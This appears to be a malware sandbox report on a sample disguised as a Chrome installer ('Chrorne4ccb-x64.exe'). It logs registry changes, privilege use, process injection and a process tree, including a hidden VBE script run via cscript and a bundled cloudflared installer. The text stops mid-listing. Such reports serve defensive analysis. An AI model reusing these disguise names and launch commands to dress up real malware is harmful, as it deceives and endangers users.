Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	System.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	System.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Google\Chrome\InstallerPinned = "0"	setup.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	System.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	System.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	System.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	System.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	System.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{5F793925-C903-4E92-9AE3-77CA5EAB1716}\ = "IGoogleUpdate3WebSystem"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{6430040A-5EBD-4E63-A56F-C71D5990F827}\1.0\0\win64	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{1BF5208B-295F-4992-B5F4-3A9BB6494838}\1.0	setup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{6430040A-5EBD-4E63-A56F-C71D5990F827}\TypeLib	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{05A30352-EB25-45B6-8449-BCA7B0542CE5}\1.0\0\win32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B685B009-DBC4-4F24-9542-A162C3793E77}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{513BC7DA-6B8D-45F7-90A0-2E9F66CEF962}\ = "IPolicyStatus2System"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}\TypeLib\ = "{D106AB5F-A70E-400E-A21B-96208C1D8DBB}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.xht	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F258BE54-7C5F-44A0-AAE0-730620A31D23}\ = "IAppVersionWebSystem"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F63F6F8B-ACD5-413C-A44B-0409136D26CB}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{34527502-D3DB-4205-A69B-789B27EE0414}\TypeLib\Version = "1.0"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{27634814-8E41-4C35-8577-980134A96544}\1.0\0\win64\ = "C:\\Program Files (x86)\\Google\\GoogleUpdater\\144.0.7547.0\\updater.exe\\6"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6430040A-5EBD-4E63-A56F-C71D5990F827}\1.0\0\win64\ = "C:\\Program Files (x86)\\Google\\GoogleUpdater\\144.0.7547.0\\updater.exe\\6"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\ = "IAppWeb"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{35886103-B77E-509F-9A68-68E782D38F3B}\1.0\0\win32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B7FD5390-D593-5A8B-9AE2-23CE39822FD4}\ = "IUpdaterAppStateSystem"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B685B009-DBC4-4F24-9542-A162C3793E77}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\TypeLib\Version = "1.0"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{ACAB122B-29C0-56A9-8145-AFA2F82A547C}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F258BE54-7C5F-44A0-AAE0-730620A31D23}\1.0\0\win32\ = "C:\\Program Files (x86)\\Google\\GoogleUpdater\\144.0.7547.0\\updater.exe\\6"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{F966A529-43C6-4710-8FF4-0B456324C8F4}\TypeLib	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{6430040A-5EBD-4E63-A56F-C71D5990F827}\1.0\ = "GoogleUpdater TypeLib for IProcessLauncher2System"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\1.0\0	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{1BF5208B-295F-4992-B5F4-3A9BB6494838}\1.0\ = "TypeLib for Interface {1BF5208B-295F-4992-B5F4-3A9BB6494838}"	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{85AE4AE3-8530-516B-8BE4-A456BF2637D3}\1.0\0\win64\ = "C:\\Program Files (x86)\\Google\\GoogleUpdater\\144.0.7547.0\\updater.exe\\4"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0486745C-8D9B-5377-A54C-A61FFAA0BBE4}\TypeLib\Version = "1.0"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{B7FD5390-D593-5A8B-9AE2-23CE39822FD4}\1.0	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4DC034A8-4BFC-4D43-9250-914163356BB0}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\ = "IProcessLauncher"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\1.0\0\win64\ = "C:\\Program Files (x86)\\Google\\GoogleUpdater\\144.0.7547.0\\updater.exe\\6"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1F1289FD-DD10-4579-81F6-1C59AAF2E1A9}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{27634814-8E41-4C35-8577-980134A96544}\1.0\ = "GoogleUpdater TypeLib for IPolicyStatusValue"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.webp\OpenWithProgids\ChromeHTML	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\AppID = "{ABC01078-F197-4B0B-ADBC-CFE684B39C82}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{1588C1A8-27D9-563E-9641-8D20767FB258}\1.0\0	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B16B5A0E-3B72-5223-8DF0-9117CD64DE77}\TypeLib\Version = "1.0"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{E9CD91E3-A00C-4B9E-BD63-7F34EB815D98}\ProxyStubClsid32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\TypeLib\Version = "1.0"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{85AE4AE3-8530-516B-8BE4-A456BF2637D3}\1.0	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{C4622B28-A747-44C7-96AF-319BE5C3B261}\ProxyStubClsid32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E9CD91E3-A00C-4B9E-BD63-7F34EB815D98}\TypeLib\ = "{E9CD91E3-A00C-4B9E-BD63-7F34EB815D98}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{F4334319-8210-469B-8262-DD03623FEB5B}\1.0\0\win32	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{6430040A-5EBD-4E63-A56F-C71D5990F827}\1.0	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{1BF5208B-295F-4992-B5F4-3A9BB6494838}\TypeLib	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1588C1A8-27D9-563E-9641-8D20767FB258}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{85AE4AE3-8530-516B-8BE4-A456BF2637D3}	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Interface\{0486745C-8D9B-5377-A54C-A61FFAA0BBE4}	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{F4FE76BC-62B9-49FC-972F-C81FC3A926DB}\ProxyStubClsid32	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}\ProxyStubClsid32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{1F1289FD-DD10-4579-81F6-1C59AAF2E1A9}\TypeLib\ = "{1F1289FD-DD10-4579-81F6-1C59AAF2E1A9}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\1.0\0\win32	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{05A30352-EB25-45B6-8449-BCA7B0542CE5}\1.0\0\win64	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{1588C1A8-27D9-563E-9641-8D20767FB258}	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D39AC5FB-3662-521F-B4DA-149AA6CB515E}\TypeLib\ = "{D39AC5FB-3662-521F-B4DA-149AA6CB515E}"	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib\{B7FD5390-D593-5A8B-9AE2-23CE39822FD4}\1.0\0\win64	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{699F07AD-304C-5F71-A2DA-ABD765965B54}	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\1.0\ = "GoogleUpdater TypeLib for IProcessLauncher"	updater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ChromePDF\Application\ApplicationDescription = "访问互联网"	setup.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{1588C1A8-27D9-563E-9641-8D20767FB258}	updater.exe
Key created	\REGISTRY\MACHINE\Software\Classes\TypeLib	updater.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
1344	updater.exe
1344	updater.exe
1344	updater.exe
1344	updater.exe
1344	updater.exe
1344	updater.exe
4312	updater.exe
4312	updater.exe
4312	updater.exe
4312	updater.exe
4312	updater.exe
4312	updater.exe
5536	updater.exe
5536	updater.exe
5536	updater.exe
5536	updater.exe
5536	updater.exe
5536	updater.exe
5556	updater.exe
5556	updater.exe
5556	updater.exe
5556	updater.exe
1344	updater.exe
1344	updater.exe
5460	chrome.exe
5460	chrome.exe
4276	cloudflared_installer.tmp
4276	cloudflared_installer.tmp
1968	updater.exe
1968	updater.exe
1968	updater.exe
1968	updater.exe
2204	msiexec.exe
2204	msiexec.exe
4836	updater.exe
4836	updater.exe
4836	updater.exe
4836	updater.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: 33	5616	ChromeSetup.exe
Token: SeIncBasePriorityPrivilege	5616	ChromeSetup.exe
Token: 33	5684	150.0.7871.125_chrome_installer_uncompressed.exe
Token: SeIncBasePriorityPrivilege	5684	150.0.7871.125_chrome_installer_uncompressed.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeShutdownPrivilege	4344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4344	msiexec.exe
Token: SeSecurityPrivilege	2204	msiexec.exe
Token: SeCreateTokenPrivilege	4344	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4344	msiexec.exe
Token: SeLockMemoryPrivilege	4344	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4344	msiexec.exe
Token: SeMachineAccountPrivilege	4344	msiexec.exe
Token: SeTcbPrivilege	4344	msiexec.exe
Token: SeSecurityPrivilege	4344	msiexec.exe
Token: SeTakeOwnershipPrivilege	4344	msiexec.exe
Token: SeLoadDriverPrivilege	4344	msiexec.exe
Token: SeSystemProfilePrivilege	4344	msiexec.exe
Token: SeSystemtimePrivilege	4344	msiexec.exe
Token: SeProfSingleProcessPrivilege	4344	msiexec.exe
Token: SeIncBasePriorityPrivilege	4344	msiexec.exe
Token: SeCreatePagefilePrivilege	4344	msiexec.exe
Token: SeCreatePermanentPrivilege	4344	msiexec.exe
Token: SeBackupPrivilege	4344	msiexec.exe
Token: SeRestorePrivilege	4344	msiexec.exe
Token: SeShutdownPrivilege	4344	msiexec.exe
Token: SeDebugPrivilege	4344	msiexec.exe
Token: SeAuditPrivilege	4344	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4344	msiexec.exe
Token: SeChangeNotifyPrivilege	4344	msiexec.exe
Token: SeRemoteShutdownPrivilege	4344	msiexec.exe
Token: SeUndockPrivilege	4344	msiexec.exe
Token: SeSyncAgentPrivilege	4344	msiexec.exe
Token: SeEnableDelegationPrivilege	4344	msiexec.exe
Token: SeManageVolumePrivilege	4344	msiexec.exe
Token: SeImpersonatePrivilege	4344	msiexec.exe
Token: SeCreateGlobalPrivilege	4344	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeShutdownPrivilege	5460	chrome.exe
Token: SeCreatePagefilePrivilege	5460	chrome.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe
Token: SeRestorePrivilege	2204	msiexec.exe
Token: SeTakeOwnershipPrivilege	2204	msiexec.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
4276	cloudflared_installer.tmp

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe
5460	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4344	msiexec.exe
2204	msiexec.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1372	2196	Chrorne4ccb-x64.exe	87
PID 2196 wrote to memory of 5616	2196	Chrorne4ccb-x64.exe	89
PID 5616 wrote to memory of 1344	5616	ChromeSetup.exe	90
PID 1344 wrote to memory of 924	1344	updater.exe	91
PID 4312 wrote to memory of 2700	4312	updater.exe	93
PID 5536 wrote to memory of 2300	5536	updater.exe	95
PID 5536 wrote to memory of 5556	5536	updater.exe	97
PID 5556 wrote to memory of 5960	5556	updater.exe	98
PID 5536 wrote to memory of 5684	5536	updater.exe	99
PID 5684 wrote to memory of 3220	5684	150.0.7871.125_chrome_installer_uncompressed.exe	100
PID 3220 wrote to memory of 1812	3220	setup.exe	101
PID 3220 wrote to memory of 4408	3220	setup.exe	102
PID 4408 wrote to memory of 3804	4408	setup.exe	104
PID 1344 wrote to memory of 5460	1344	updater.exe	112
PID 5460 wrote to memory of 3512	5460	chrome.exe	113
PID 5460 wrote to memory of 4672	5460	chrome.exe	114
PID 5460 wrote to memory of 4120	5460	chrome.exe	115
PID 5460 wrote to memory of 4816	5460	chrome.exe	116
PID 5460 wrote to memory of 2552	5460	chrome.exe	118
PID 5460 wrote to memory of 6068	5460	chrome.exe	119
PID 5460 wrote to memory of 3548	5460	chrome.exe	120
PID 5460 wrote to memory of 2272	5460	chrome.exe	121
PID 5460 wrote to memory of 2160	5460	chrome.exe	122
PID 5460 wrote to memory of 2384	5460	chrome.exe	124
PID 2196 wrote to memory of 5936	2196	Chrorne4ccb-x64.exe	126
PID 5460 wrote to memory of 3380	5460	chrome.exe	127
PID 5936 wrote to memory of 4276	5936	cloudflared_installer.exe	128
PID 5460 wrote to memory of 2820	5460	chrome.exe	129
PID 5460 wrote to memory of 2852	5460	chrome.exe	130
PID 5460 wrote to memory of 5448	5460	chrome.exe	131
PID 5460 wrote to memory of 5728	5460	chrome.exe	132
PID 5460 wrote to memory of 5744	5460	chrome.exe	133
PID 5460 wrote to memory of 1208	5460	chrome.exe	134
PID 5460 wrote to memory of 4280	5460	chrome.exe	135
PID 5460 wrote to memory of 2352	5460	chrome.exe	136
PID 5460 wrote to memory of 5064	5460	chrome.exe	137
PID 4276 wrote to memory of 4344	4276	cloudflared_installer.tmp	138
PID 5460 wrote to memory of 1056	5460	chrome.exe	139
PID 5536 wrote to memory of 1516	5536	updater.exe	140
PID 5536 wrote to memory of 1968	5536	updater.exe	142
PID 1968 wrote to memory of 4112	1968	updater.exe	143
PID 5536 wrote to memory of 3412	5536	updater.exe	144
PID 5460 wrote to memory of 2232	5460	chrome.exe	148
PID 5460 wrote to memory of 4328	5460	chrome.exe	146
PID 5460 wrote to memory of 3236	5460	chrome.exe	147
PID 5460 wrote to memory of 2232	5460	chrome.exe	148
PID 4400 wrote to memory of 5232	4400	WindowsEvent.exe	153
PID 4836 wrote to memory of 1660	4836	updater.exe	158
PID 5460 wrote to memory of 1328	5460	chrome.exe	159
PID 5460 wrote to memory of 3888	5460	chrome.exe	160
PID 5460 wrote to memory of 5856	5460	chrome.exe	161

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Chrorne4ccb-x64.exe
"C:\Users\Admin\AppData\Local\Temp\Chrorne4ccb-x64.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\SysWOW64\cscript.exe
  cscript.exe /nologo "C:\Users\Admin\AppData\Roaming\Chrome\adddf.vbe" C:\
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1372
- C:\Users\Admin\AppData\Local\Temp\gentee79\ChromeSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\gentee79\ChromeSetup.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\SystemTemp\Google5616_129515428\bin\updater.exe
    "C:\Windows\SystemTemp\Google5616_129515428\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={AC0B5D6B-3B27-F360-9C08-0D46AE4849EC}&lang=zh-CN&browser=4&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=2
    3⤵
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\SystemTemp\Google5616_129515428\bin\updater.exe
      C:\Windows\SystemTemp\Google5616_129515428\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2b8,0x2bc,0x2c0,0x2b4,0x2c4,0x7be5fc,0x7be608,0x7be614
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:924
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --from-installer
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:5460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=150.0.7871.125 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa9343ba50,0x7ffa9343ba5c,0x7ffa9343ba68
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAOAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --metrics-shmem-handle=1592,i,5595704866229683982,15062773734022566960,262144 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1864 /prefetch:2
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4672
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2128,i,5516024312588677331,6302949645637966719,524288 --field-trial-handle=1868,i,5624662641301390831,10013901923344437518,262144 --variations-seed-version --pseudonymization-salt-handle=1872,i,11863488680677684653,10958230390836525006,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2184 /prefetch:11
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Time Discovery
        
        PID:4120
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
